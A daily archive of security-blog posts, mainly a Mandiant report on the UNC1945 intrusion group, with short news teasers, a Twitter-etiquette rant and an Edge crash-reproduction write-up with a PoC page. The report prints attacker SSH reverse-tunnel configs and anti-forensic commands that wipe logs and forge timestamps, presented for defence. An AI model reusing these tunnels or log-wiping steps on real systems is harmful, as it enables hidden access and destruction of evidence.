Daily Archives: November 2, 2020

N-Day Vulnerabilities: How They Threaten Your ICS Systems’ Security

In the last quarter of 2019, researchers at ClearSky uncovered an attack operation that they dubbed the “Fox Kitten Campaign.” Iranian actors used this offensive to gain persistent access into the networks of dozens of companies operating in Israel and around the world across the IT, telecommunication, oil and gas, aviation, government and security sectors. […]… Read More

The post N-Day Vulnerabilities: How They Threaten Your ICS Systems’ Security appeared first on The State of Security.

Live off the Land? How About Bringing Your Own Island? An Overview of UNC1945

Through Mandiant investigation of intrusions, the FLARE Advanced Practices team observed a group we track as UNC1945 compromise managed service providers and operate against a tailored set of targets within the financial and professional consulting industries by leveraging access to third-party networks (see this blog post for an in-depth description of “UNC” groups).

UNC1945 targeted Oracle Solaris operating systems, utilized several tools and utilities against Windows and Linux operating systems, loaded and operated custom virtual machines, and employed techniques to evade detection. UNC1945 demonstrated access to exploits, tools and malware for multiple operating systems, a disciplined interest in covering or manipulating their activity, and displayed advanced technical abilities during interactive operations.

Mandiant discovered and reported to Oracle CVE-2020-14871, which was addressed in Oracle's October 2020 Critical Patch Update. Mandiant recommends staying current on all current patch updates to ensure a high security posture. We will discuss this vulnerability in greater detail in a follow up blog post.

UNC1945 Attack Lifecycle

The threat actor demonstrated experience and comfort by utilizing unique tactics, techniques and procedures (TTPs) within Unix environments, demonstrating a high level of acumen in conjunction with ease of operability in Microsoft Windows operating systems. They were successful navigating multiple segmented networks and leveraging third-party access to extend operations well beyond the initial victim. Furthermore, UNC1945 operated from several virtual machines pre-configured with post-exploitation tools in addition to their custom toolset to evade detection and forensics.

Initial Compromise

In late 2018, UNC1945 gained access to a Solaris server and installed a backdoor we track as SLAPSTICK in order to capture connection details and credentials to facilitate further compromise. The SSH service of this server was exposed to the internet at the time, the same time we observed first evidence of threat activity. Unfortunately, due to insufficient available evidence, the next indication of activity was in mid-2020 at which time a different Solaris server was observed connecting to the threat actor infrastructure. This indicates a dwell time of approximately 519 days based on recovered artifacts.

  • Although we were unable to determine how the late-2018 initial access was accomplished, we did observe successful UNC1945 SSH connections directly to the victim Solaris 10 server, since the SSH service was exposed directly to the internet at the time.
  • In mid-2020, we observed UNC1945 deploy EVILSUN—a remote exploitation tool containing a zero-day exploit for CVE-2020-14871—on a Solaris 9 server. At the time, connections from the server to the threat actor IP address were observed over port 8080.
    • Mandiant discovered and reported CVE-2020-14871, a recently patched vulnerability in the Oracle Solaris Pluggable Authentication Module (PAM) that allows an unauthenticated attacker with network access via multiple protocols to exploit and compromise the operating system.
    • According to an April 2020 post on a black-market website, an “Oracle Solaris SSHD Remote Root Exploit” was available for approximately $3,000 USD, which may be identifiable with EVILSUN.
    • Additionally, we confirmed a Solaris server exposed to the internet had critical vulnerabilities, which included the possibility of remote exploitation without authentication.

Establish Foothold and Maintain Persistence

The threat actor used a Solaris Pluggable Authentication Module backdoor we refer to as SLAPSTICK to establish a foothold on a Solaris 9 server. This facilitated user access to the system with a secret hard-coded password and allowed the threat actors to escalate privileges and maintain persistence (see Figure 1).

  • Log –font –unix | /usr/lib/ssh/sshd sshd kbdint - can <Encoded Password> <IP REDACTED> Magical Password
  • auth.info | sshd[11800]: [ID 800047 auth.info] Accepted keyboard-interactive for root from <IP REDACTED> port 39680 ssh2
  • auth.notice | su: [ID 366847 auth.notice] ‘su root’ - succeeded for netcool on /dev/pts/31

Figure 1: SLAPSTICK logs

At the initial victim, UNC1945 placed a copy of a legitimate pam_unix.so file and SLAPSTICK in the /lib64/security folder. A day later, the threat actor positioned a custom Linux backdoor, which Mandiant named LEMONSTICK, on the same workstation. LEMONSTICK capabilities include command execution, file transfer and execution, and the ability to establish tunnel connections. (see Figure 2).

  • FileItem:changed | /usr/lib64/security/pam_unix,so [57720]
  • Audit log | [audit_type: USER_END] user pid=10080 uid=0 auid=0 msg='PAM: session close acct=root" : exe="/usr/sbin/sshd" (hostname=, addr=, terminal=ssh res=success)'"
  • FileItem:Accessed | /var/tmp/.cache/ocb_static

Figure 2: UNC1945 emplacement of SLAPSTICK 

UNC1945 obtained and maintained access to their external infrastructure using an SSH Port Forwarding mechanism despite the host lacking accessibility to the internet directly. SSH Port Forwarding is a mechanism implemented in SSH protocol for transporting arbitrary networking data over an encrypted SSH connection (tunneling). This feature can be used for adding encryption to legacy applications traversing firewalls or with malicious intent to access internal networks from the the internet. The UNC1945 configurations we observed are similarly structured with respect to the host alias, specified options, and option order (see Figure 3).

config1 config2
Host <redacted>
HostName <redacted>
Port 900
User <redacted>
IdentityFile <redacted>
KbdInteractiveAuthentication no
PasswordAuthentication no
NoHostAuthenticationForLocalhost yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
RemoteForward 33002
Host <redacted>
HostName <redacted>
Port 443
User <redacted>
IdentityFile <redacted>
KbdInteractiveAuthentication no
PasswordAuthentication no
NoHostAuthenticationForLocalhost yes
StrictHostKeyChecking no
UserKnownHostsFile /dev/null
ServerAliveInterval 30
ServerAliveCountMax 3
RemoteForward 2224 <redacted>:22

Figure 3: SSH config files used by UNC1945 at different incidents

As part of this multi-stage operation, UNC1945 dropped a custom QEMU Virtual Machine (VM) on multiple hosts, which was executed inside of any Linux system by launching a ‘start.sh’ script. The script contained TCP forwarding settings that could be used by the threat actor in conjunction with the SSH tunnels to give direct access from the threat actor VM to the command and control server to obfuscate interaction with customer infrastructure. The VM was running a version of the Tiny Core Linux OS with pre-loaded scripts and tools. Also, we analyzed the Virtual Machine file system timestamps, which coincided with UNC1945's overall operational timeline.

The VM contained numerous tools such as network scanners, exploits and reconnaissance tools. Tiny Core Linux pre-loaded tools included Mimikatz, Powersploit, Responder, Procdump, CrackMapExec, PoshC2, Medusa, JBoss Vulnerability Scanner and more.

Efforts to decrease operational visibility included placing tool and output files within temporary file system mount points that were stored in volatile memory. Additionally, UNC1945 used built-in utilities and public tools to modify timestamps and selectively manipulate Unix log files.

UNC1945 employed anti-forensics techniques with the use of a custom ELF utility named LOGBLEACH. The actor used built-in Linux commands to alter the timestamps of files and directories and used LOGBLEACH to clean logs to thwart forensic analysis, as seen in Figure 4.

$ ./b -C -y -a
$ mv b /usr/lib64/libXbleach.so.1
$ cd /usr/lib64/
$ touch -acm -r librpmio.so.3.2.2
$ touch -acm -r libyaml-0.so.2


To further obfuscate activity, a Linux ELF packer named STEELCORGI was executed in memory on the Solaris system. The malware contains various anti-analysis techniques, including anti-debugging, anti-tracing, and string obfuscation. It uses environment variables as a key to unpack the final payload.

Escalate Privileges and Lateral Movement

After successfully establishing a foothold, UNC1945 collected credentials, escalated privileges, and successfully moved laterally through multiple networks.

UNC1945 obtained credentials via SLAPSTICK and open source tools such as Mimikatz, which enabled easy lateral movement throughout networks to obtain immediate access to other segments of the network and third-party environments. Stolen credentials collected by SLAPSTICK were used to traverse the customer network via SSH and deploy SLAPSTICK to additional hosts. After successfully authenticating, SLAPSTICK displays a welcome message, as seen in Figure 5.

Figure 5: SLAPSTICK backdoor welcome banner

UNC1945 used ProxyChains to download PUPYRAT, an open source, cross-platform multi-functional remote administration and post-exploitation tool mainly written in Python.

At one target, the threat actor used a virtual machine to initiate a brute-force of SSH targeting Linux and HP-UX endpoints. Beginning with seemingly random usernames and shifting to legitimate Linux and Windows accounts, the threat actor successfully established SSH connections on a Linux endpoint. After successfully escalating privileges on an HP-UX endpoint and a Linux endpoint, UNC1945 installed three backdoors: SLAPSTICK, TINYSHELL, and OKSOLO.

We observed UNC1945 use IMPACKET with SMBEXEC in a Microsoft Windows environment to execute commands remotely without the need to upload a payload to the target. SMBEXEC allows the threat actor to operate like PsExec, but without using RemComSvc. There are two main modes of using this tool that benefits attackers. Share mode allows the specification of a share that everything will be executed through. Server mode permits the output of the executed commands to be sent back by the target machine into a locally shared folder.

At one victim, we observed UNC1945 moving laterally via Remote Desktop Protocol (RDP) to a Windows server before viewing the Server Manager Panel, viewing and modifying RDP-related system firewall rules and checking the application settings of two endpoint security services.

Internal Reconnaissance

Mandiant investigations found that the threat actor maintains various tools to interact with victim networks. In addition to custom tools, the UNC1945 VMs contained various tools (e.g. network scanners, exploits and reconnaissance; see Associated Tools and Malware section).

In some intrusions, UNC1945 employed a SPARC executable identified as a reconnaissance tool. Based on publicly available information, this executable could be referred to as Luckscan or BlueKeep, the latter of which is part of the BKScan toolkit (see Figure 6).

Figure 6: SPARC executable recon tool command line used by the threat actor

According to open sources, BlueKeep, aka “bkscan” scanner, works both unauthenticated and authenticated (i.e. when Network Level Authentication is enabled). BlueKeep (CVE-2019-0708) is a security vulnerability that was discovered in Microsoft's Remote Desktop Protocol (RDP) implementation, which allows for the possibility of remote code execution.

Complete Mission

Despite this multi-staged operation, Mandiant did not observe evidence of data exfiltration and was unable to determine UNC1945's mission for most of the intrusions we investigated. In at least one case, we observed ROLLCOAST ransomware deployment in the final phase of the threat actor activity, but Mandiant didn’t attribute this activity to UNC1945. At this time, it is likely that access to the victim environment was sold to another group.


The ease and breadth of exploitation in which UNC1945 conducted this campaign suggests a sophisticated, persistent actor comfortable exploiting various operating systems, and access to resources and numerous toolsets. Given the aforementioned factors, use of zero-day exploits and virtual machines, and ability to traverse multiple third-party networks, Mandiant expects this motivated threat actor to continue targeted operations against key industries while taking advantage of operating systems that likely have inadequate security visibility.     

Associated Tools and Malware Families

EVILSUN is a remote exploitation tool that gains access to Solaris 10 and 11 systems of SPARC or i386 architecture using a vulnerability (CVE-2020-14871) exposed by SSH keyboard-interactive authentication. The remote exploitation tool makes SSH connections to hosts passed on the command line. The default port is the normal SSH port (22), but this may be overridden. EVILSUN passes the banner string SSH-2.0-Sun_SSH_1.1.3 over the connection in clear text as part of handshaking.

LEMONSTICK is a Linux executable command line utility with backdoor capabilities. The backdoor can execute files, transfer files, and tunnel connections. LEMONSTICK can be started in two different ways: passing the `-c` command line argument (with an optional file) and setting the ‘OCB’ environment variable. When started with the `-c` command line argument, LEMONSTICK spawns an interactive shell. When started in OCB mode, LEMONSTICK expects to read from STDIN. The STDIN data is expected to be encrypted with the blowfish algorithm. After decrypting, it dispatches commands based on the name—for example: ‘executes terminal command’, ‘connect to remote system’, ‘send & retrieve file’, ‘create socket connection’.

LOGBLEACH is an ELF utility that has a primary functionality of deleting log entries from a specified log file(s) based on a filter provided via command line. The following log files are hard coded in the malware, but additional log paths may be specified:

  • /var/run/utmp
  • /var/log/wtmp
  • /var/log/btmp
  • /var/log/lastlog
  • /var/log/faillog
  • /var/log/syslog
  • /var/log/messages
  • /var/log/secure
  • /var/log/auth.log

OKSOLO is a publicly available backdoor that binds a shell to a specified port. It can be compiled to support password authentication or dropped into a root shell.

OPENSHACKLE is a reconnaissance tool that collects information about logged-on users and saves it to a file. OPENSHACKLE registers Windows Event Manager callback to achieve persistence.

ProxyChains allows the use of SSH, TELNET, VNC, FTP and any other internet application from behind HTTP (HTTPS) and SOCKS (4/5) proxy servers. This "proxifier" provides proxy server support to any application.

PUPYRAT (aka Pupy) is an open source, multi-platform (Windows, Linux, OSX, Android), multi-function RAT (Remote Administration Tool) and post-exploitation tool mainly written in Python. It features an all-in-memory execution guideline and leaves very low footprint. It can communicate using various transports, migrate into processes (reflective injection), and load remote Python code, Python packages and Python C-extensions from memory.

STEELCORGI is a packer for Linux ELF programs that uses key material from the executing environment to decrypt the payload. When first starting up, the malware expects to find up to four environment variables that contain numeric values. The malware uses the environment variable values as a key to decrypt additional data to be executed.

SLAPSTICK is a Solaris PAM backdoor that grants a user access to the system with a secret, hard-coded password.

TINYSHELL is a lightweight client/server clone of the standard remote shell tools (rlogin, telnet, ssh, etc.), which can act as a backdoor and provide remote shell execution as well as file transfers.


  • FE_APT_Trojan_Linux_STEELCORGI_1
  • FE_APT_Trojan_Linux_STEELCORGI_2
  • FE_HackTool_Linux64_EVILSUN_1
  • FE_HackTool_Linux_EVILSUN_1
  • HackTool.Linux.EVILSUN.MVX
  • HXIOC UUID: e489ce60-f315-4d1a-a888-77782f687eec
  • EVILSUN (FAMILY) 90005075FE_Trojan_Linux_LEMONSTICK_1
  • HXIOC UUID: 4a56fb0c-6134-4450-ad91-0f622a92701c
  • FE_APT_Backdoor_Linux64_SLAPSTICK_1
  • FE_APT_Backdoor_Linux_SLAPSTICK_1
  • FE_Backdoor_Win_PUPYRAT_1
  • FE_Ransomware_Win64_ROLLCOAST_1
  • FE_Ransomware_Win_ROLLCOAST_1
  • HXIOC, 45632ca0-a20b-487f-841c-c74ca042e75a; ROLLCOAST RANSOMWARE (FAMILY)
  • Ransomware.Win.ROLLCOAST.MVX


  • d5b9a1845152d8ad2b91af044ff16d0b (SLAPSTICK)
  • 0845835e18a3ed4057498250d30a11b1 (STEELCORGI)
  • 6983f7001de10f4d19fc2d794c3eb534
  • 2eff2273d423a7ae6c68e3ddd96604bc
  • d505533ae75f89f98554765aaf2a330a
  • abaf1d04982449e0f7ee8a34577fe8af



ATT&CK Tactic Category


Initial Access

T1133 External Remote Services

T1190 Exploit Public-Facing Application


T1059 Command and Scripting Interpreter

T1059.001 PowerShell

T1064 Scripting


T1133 External Remote Services

Lateral Movement

T1021.001 Remote Desktop Protocol

T1021.004 SSH

Defense Evasion

T1027 Obfuscated Files or Information

T1070.004 File Deletion

T1070.006 Timestomp

T1064 Scripting

T1553.002 Code Signing


T1046 Network Service Scanning

T1082 System Information Discovery

T1518.001 Security Software Discovery

Lateral Movement

T1021.001 Remote Desktop Protocol

T1021.004 SSH

Command and Control

T1071 Application Layer Protocol

T1090 Proxy

T1105 Ingress Tool Transfer

T1132.001 Standard Encoding

For more information, check out our Bring Your Own Land blog post. Additionally, Mandiant experts from the FLARE team will present an in-depth view into UNC1945 on Thursday, Nov. 12. Register today to reserve your spot for this discussion, where the presenters from FLARE and Mandiant Managed Defense will also answer questions from the audience. Finally, for more intelligence on these types of threats, please register for Mandiant Advantage Free, a no-cost version of our threat intelligence platform.

A WebLogic Vulnerability Highlights the Path-Based Authorization Dilemma

A WebLogic server vulnerability fixed by the October CPU has come under active exploitation after a Vietnamese language blog post detailed the steps needed to bypass authentication and achieve remote code execution on unpatched systems. Although there have been a series of actively exploited WebLogic deserialization bugs, the exploit payload in this case immediately grabbed […]… Read More

The post A WebLogic Vulnerability Highlights the Path-Based Authorization Dilemma appeared first on The State of Security.

How to Run Google SERP API Without Constantly Changing Proxy Servers

You've probably run into a major problem when trying to scrape Google search results. Web scraping tools allow you to extract information from a web page. Companies and coders from across the world use them to download Google's SERP data. And they work well – for a little while. After several scrapes, Google's automated security system kicks in. Then it kicks you out. The standard was to bypass

How to Prevent Pwned and Reused Passwords in Your Active Directory

Many businesses are currently looking at how to bolster security across their organization as the pandemic and remote work situation continues to progress towards the end of the year. As organizations continue to implement security measures to protect business-critical data, there is an extremely important area of security that often gets overlooked – passwords. Weak passwords have long been a

New NAT/Firewall Bypass Attack Lets Hackers Access Any TCP/UDP Service

A new research has demonstrated a technique that allows an attacker to bypass firewall protection and remotely access any TCP/UDP service on a victim machine. Called NAT Slipstreaming, the method involves sending the target a link to a malicious site (or a legitimate site loaded with malicious ads) that, when visited, ultimately triggers the gateway to open any TCP/UDP port on the victim,

Phishers Using Google Drive to Trick People into Visiting Malicious Websites

Reports emerged of phishers having abused a feature in Google Drive in an attempt to trick users into visiting malicious websites. In this scam wave, users reported having received Google Drive notifications in Russian or English asking them to collaborate on unfamiliar documents. Those documents contained links to scam websites. Some of those links tried […]… Read More

The post Phishers Using Google Drive to Trick People into Visiting Malicious Websites appeared first on The State of Security.

Maze ransomware gang says it has quit the cybercrime business

A press release on the website of a notorious cybercrime gang, who stole data from organisations and demanded a ransom be paid for its safe return, says that it is closing down. The Maze gang not only encrypted files on corporate networks with their ransomware so they could no longer be accessed, they also exfiltrated the data from systems they infected and threatened to release it if a ransom was not paid.

WARNING: Google Discloses Windows Zero-Day Bug Exploited in the Wild

Google has disclosed details of a new zero-day privilege escalation flaw in the Windows operating system that's being actively exploited in the wild. The elevation of privileges (EoP) vulnerability, tracked as CVE-2020-17087, concerns a buffer overflow present since at least Windows 7 in the Windows Kernel Cryptography Driver ("cng.sys") that can be exploited for a sandbox escape. "The bug

If You Don’t Want Guitar Lessons, Stop Following Me

If You Don't Want Guitar Lessons, Stop Following Me

I've had this blog post in draft for quite some time now, adding little bits to it as the opportunity presented itself. In a essence, it boils down to this: people expressing their displeasure when I post about a topic they're not interested in then deciding to have a whinge that my timeline isn't tailored to their expectation of the things they'd like me to talk about. The key term in that sentence is "my timeline" and as most of this relates to Twitter, there's a very easy way to understand whose timeline you're looking at:

If You Don't Want Guitar Lessons, Stop Following Me

This is me, talking about the things that I find interesting. Ricky Gervais does an amazing job of explaining what I'm about to delve into so do yourself a favour and spend a minute watching this first:

And therein lies the inspiration for the title of this blog. His comedy skit nailed it too: my Twitter timeline is literally just me talking about the things I'm interested in and whilst that might be predominantly technology and infosec stuff, turns out I actually have a life beyond that too. For example, just yesterday I thought it would be nice to take a boat ride and enjoy the impending summer weather down here:

Beautiful day out! Lots of lovely responses in the comments too plus, at the time of writing, 144 likes. But not everyone was happy with us being out enjoying the sunshine:

In my mind I'm hearing this person in his best Ricky Gervais voice grumbling "but I don't fucking like boats"! Ok, guess you could just ignore them then, would that work? And yes, I know times are tough in many places in the world right now and if that's what you'd like to focus on then by all means, seek out that content. But someone not wanting to see the joy in other people's lives and then berating them for sharing it is just plain stupid.

Don't think this is just a pandemic era phenomenon though; when I bought a new car a few years ago, I was excited and as such, I shared that excitement online:

(Side note: I talked about this particular tweets in my Hack Your Career talk at NDC Oslo a few years ago, deep-linked just to the right spot for your viewing convenience.)

Now, there's one reason and one reason only why I tweeted about the car and I'll summarise it succinctly here:

I like cars.

This is not a hard concept to grasp: I post things to my feed I get pleasure from and this person grumbling about "I don't fucking like cars" has absolutely zero impact on my propensity to post more cars in the future (I've posted a lot of car tweets since then). I mean you should see how many pics I post of beer! Oh yeah, apparently that's not on either:

I can't recall precisely what the food was but if I felt it was Twitter-worthy, it was probably epic 😎 And as for self-promotion, turns out my livelihood does kinda depend on sharing the things I do so that people might take out blog sponsorship or get me to do a talk or allow me to engage in other activities that pay me such that I can buy more food and beer. But David doesn't fucking like food and beer.

I find the sleight against self-promotion in particular a nonsensical position to take on a social media platform I use to amplify my messaging. This aligns very closely to my professional persona as do tweets about how I work or, as I shared quite extensively around the middle of the year, the environment in which I work:

Beyond not so subtly expressing that he doesn't fucking like big monitors, Hakim doesn't really make it clear what can be shown without hurting his feelings. Just one screen? What if it's one of those really slick high-DPI ones that gets really pricey? And what makes that desk "ergonomic"? It's flat on the top and has four legs, is that it? Never mind the fact it's 11 years old and worth nothing and besides, while we're talking about fancy devices:

It does make me chuckle just a little to see all the likes on that tweet 😊

It's a constant frustration to see people behave in this fashion, where they pick something that I found interesting, put on it my timeline and because it's not appropriately curated to their personal desires, they sit down and have an angry keyboard rant. Thing is even when I'm bang on topic in terms of the content people expect from me - bang "on brand" as you'll see in a moment - people still get cranky:

Yeah, she pretty much nailed it in terms of being "on brand" because investigating data breaches and writing about their aftermath is pretty much what I've carved out a name for myself doing! But Jennifer doesn't fucking care about disinformation campaigns stemming from data breaches designed to influence public sentiment, and she damn well wants me to know that.

If what I tweet doesn't resonate with you, unfollow me. But don't for a moment think that jumping on the keyboard and telling me you didn't come to my timeline to read what I've put on my timeline is going to influence me one little bit. Right, glad I got that off my chest, I know exactly what I need right now:

Crash Reproduction Series: Microsoft Edge Legacy

Crash Reproduction Series: Microsoft Edge Legacy

During yet another Digital Forensics investigation using ZecOps Crash Forensics Platform, we saw a crash of the Legacy (pre-Chromium) Edge browser. The crash was caused by a NULL pointer dereference bug, and we concluded that the root cause was a benign bug of the browser. Nevertheless, we thought that it would be a nice showcase of a crash reproduction.

Here’s the stack trace of the crash:

00007ffa`35f4a172     edgehtml!CMediaElement::IsSafeToUse+0x8
00007ffa`36c78124     edgehtml!TrackHelpers::GetStreamIndex+0x26
00007ffa`36c7121f     edgehtml!CSourceBuffer::RemoveAllTracksHelper<CTextTrack,CTextTrackList>+0x98
00007ffa`36880903     edgehtml!CMediaSourceExtension::Var_removeSourceBuffer+0xc3
00007ffa`364e5f95     edgehtml!CFastDOM::CMediaSource::Trampoline_removeSourceBuffer+0x43
00007ffa`3582ea87     edgehtml!CFastDOM::CMediaSource::Profiler_removeSourceBuffer+0x25
00007ffa`359d07b6     Chakra!Js::JavascriptExternalFunction::ExternalFunctionThunk+0x207
00007ffa`35834ab8     Chakra!amd64_CallFunction+0x86
00007ffa`35834d38     Chakra!Js::InterpreterStackFrame::OP_CallCommon<Js::OpLayoutDynamicProfile<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > > >+0x198
00007ffa`35834f99     Chakra!Js::InterpreterStackFrame::OP_ProfiledCallIWithICIndex<Js::OpLayoutT_CallIWithICIndex<Js::LayoutSizePolicy<0> > >+0xb8
00007ffa`3582cd80     Chakra!Js::InterpreterStackFrame::ProcessProfiled+0x149
00007ffa`3582df9f     Chakra!Js::InterpreterStackFrame::Process+0xe0
00007ffa`3582cf9e     Chakra!Js::InterpreterStackFrame::InterpreterHelper+0x88f
0000016a`bacc1f8a     Chakra!Js::InterpreterStackFrame::InterpreterThunk+0x4e
00007ffa`359d07b6     0x0000016a`bacc1f8a
00007ffa`358141ea     Chakra!amd64_CallFunction+0x86
00007ffa`35813f0c     Chakra!Js::JavascriptFunction::CallRootFunctionInternal+0x2aa
00007ffa`35813e4a     Chakra!Js::JavascriptFunction::CallRootFunction+0x7c
00007ffa`35813d29     Chakra!ScriptSite::CallRootFunction+0x6a
00007ffa`35813acb     Chakra!ScriptSite::Execute+0x179
00007ffa`362bebed     Chakra!ScriptEngineBase::Execute+0x19b
00007ffa`362bde49     edgehtml!CListenerDispatch::InvokeVar+0x41d
00007ffa`362bc6c2     edgehtml!CEventMgr::_InvokeListeners+0xd79
00007ffa`35fdf8f1     edgehtml!CEventMgr::Dispatch+0x922
00007ffa`35fe0089     edgehtml!CEventMgr::DispatchPointerEvent+0x215
00007ffa`35fe04f4     edgehtml!CEventMgr::DispatchClickEvent+0x1d1
00007ffa`36080f10     edgehtml!Tree::ElementNode::Fire_onclick+0x60
00007ffa`36080ca0     edgehtml!Tree::ElementNode::DoClick+0xf0

Amusingly, the browser crashed in the CMediaElement::IsSafeToUse function. Apparently, the answer is no – it isn’t safe to use.

Crash reproduction

The stack trace indicates that the function that was executed by the JavaScript code, and eventually caused the crash, was removeSourceBuffer, part of the MediaSource Web API. Looking for a convenient example to play with, we stumbled upon this page which uses the counterpart function, addSourceBuffer. We added a button that calls removeSourceBuffer and tried it out.

Just calling removeSourceBuffer didn’t cause a crash (otherwise it would be too easy, right?). To see how far we got, we attached a debugger and put a breakpoint on the edgehtml!CMediaSourceExtension::Var_removeSourceBuffer function, then did some stepping. We saw that the CSourceBuffer::RemoveAllTracksHelper function is not being called at all. What tracks does it help to remove?

After some searching, we learned that there’s the HTML <track> element that allows us to specify textual data, such as subtitles, for a media element. We added such an element to our sample video and bingo! Edge crashed just as we hoped.

Crash reason

Our best guess is that the crash happens because the CTextTrackList::GetTrackCount function returns an incorrect value. In our case, it returns 2 instead of 1. An iteration is then made, and the CTextTrackList::GetTrackNoRef function is called with index values from 0 to the track count (simplified):

int count = CTextTrackList::GetTrackCount();
for (int i = 0; i < count; i++) {
    CTextTrackList::GetTrackNoRef(..., i);
    /* more code... */

While it may look like an out-of-bounds bug, it isn’t. GetTrackNoRef returns an error for an invalid index, and for index=1 (in our case), a valid object is returned, it’s just that one of its fields is a NULL pointer. Perhaps the last value in the array is some kind of a sentinel value which was not supposed to be part of the iteration.


The bug is not exploitable, and can only cause a slight inconvenience by crashing the browser tab.


Here’s a POC that demonstrates the crash. Save it as an html file, and place the test.mp4, foo.vtt files in the same folder.

Tested version:

  • Microsoft Edge 44.18362.449.0
  • Microsoft EdgeHTML 18.18363

<video autoplay controls playsinline>
    <!-- https://gist.github.com/Michael-ZecOps/046e2c97d208a0a6da2f81c3812f7d5d -->
    <track label="English" kind="subtitles" srclang="en" src="foo.vtt" default>

    // Based on: https://simpl.info/mse/
    var FILE = 'test.mp4'; // https://w3c-test.org/media-source/mp4/test.mp4
    var video = document.querySelector('video');

    var mediaSource = new MediaSource();
    video.src = window.URL.createObjectURL(mediaSource);

    mediaSource.addEventListener('sourceopen', function () {
        var sourceBuffer = mediaSource.addSourceBuffer('video/mp4; codecs="mp4a.40.2,avc1.4d400d"');

        var button = document.querySelector('button');
        button.onclick = () => mediaSource.removeSourceBuffer(mediaSource.sourceBuffers[0]);

        get(FILE, function (uInt8Array) {
            var file = new Blob([uInt8Array], {
                type: 'video/mp4'

            var reader = new FileReader();

            reader.onload = function (e) {
                sourceBuffer.appendBuffer(new Uint8Array(e.target.result));
                sourceBuffer.addEventListener('updateend', function () {
                    if (!sourceBuffer.updating && mediaSource.readyState === 'open') {

    }, false);

    function get(url, callback) {
        var xhr = new XMLHttpRequest();
        xhr.open('GET', url, true);
        xhr.responseType = 'arraybuffer';

        xhr.onload = function () {
            if (xhr.status !== 200) {
                alert('Unexpected status code ' + xhr.status + ' for ' + url);
                return false;
            callback(new Uint8Array(xhr.response));

Does mobile DFIR research interest you?

ZecOps is expanding. We’re looking for additional researchers to join ZecOps Research Team. If you’re interested, send us a note at careers@zecops.com.